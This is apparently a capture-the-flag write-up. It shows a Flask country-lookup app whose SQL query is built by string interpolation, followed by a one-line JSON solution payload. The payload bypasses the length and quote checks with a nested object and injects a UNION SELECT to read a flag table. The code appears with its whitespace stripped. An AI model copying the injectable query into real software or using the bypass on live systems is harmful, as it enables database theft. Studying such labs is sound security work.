#!/usr/bin/env python3importflaskimportsqlite3importjsonapp=flask.Flask(__name__)defdb_search(code):withsqlite3.connect('database.db')asconn:cur=conn.cursor()cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')")found=cur.fetchone()returnNoneiffoundisNoneelsefound[0]@app.route('/')defindex():returnflask.render_template("index.html")@app.route('/api/search',methods=['POST'])defapi_search():req=flask.request.get_json()print(req)if'code'notinreq:flask.abort(400,"Empty country code")code=req['code']print(code)print(len(code))iflen(code)!=2or"'"incode:flask.abort(400,"Invalid country code")name=db_search(code)ifnameisNone:flask.abort(404,"No such country")return{'name':name}if__name__=='__main__':app.run(debug=True)
Solution
Send a json that contains a code with its value set to another json. There should be 2 objects inside that json, so that when the length is checked, it will be a length of the json(dict in python). When interpreted it will be the first key of the json object.
1
2
3
4
5
{"code":{"CA') UNION SELECT flag from FLAG--":"cake","KE":"bruh"}}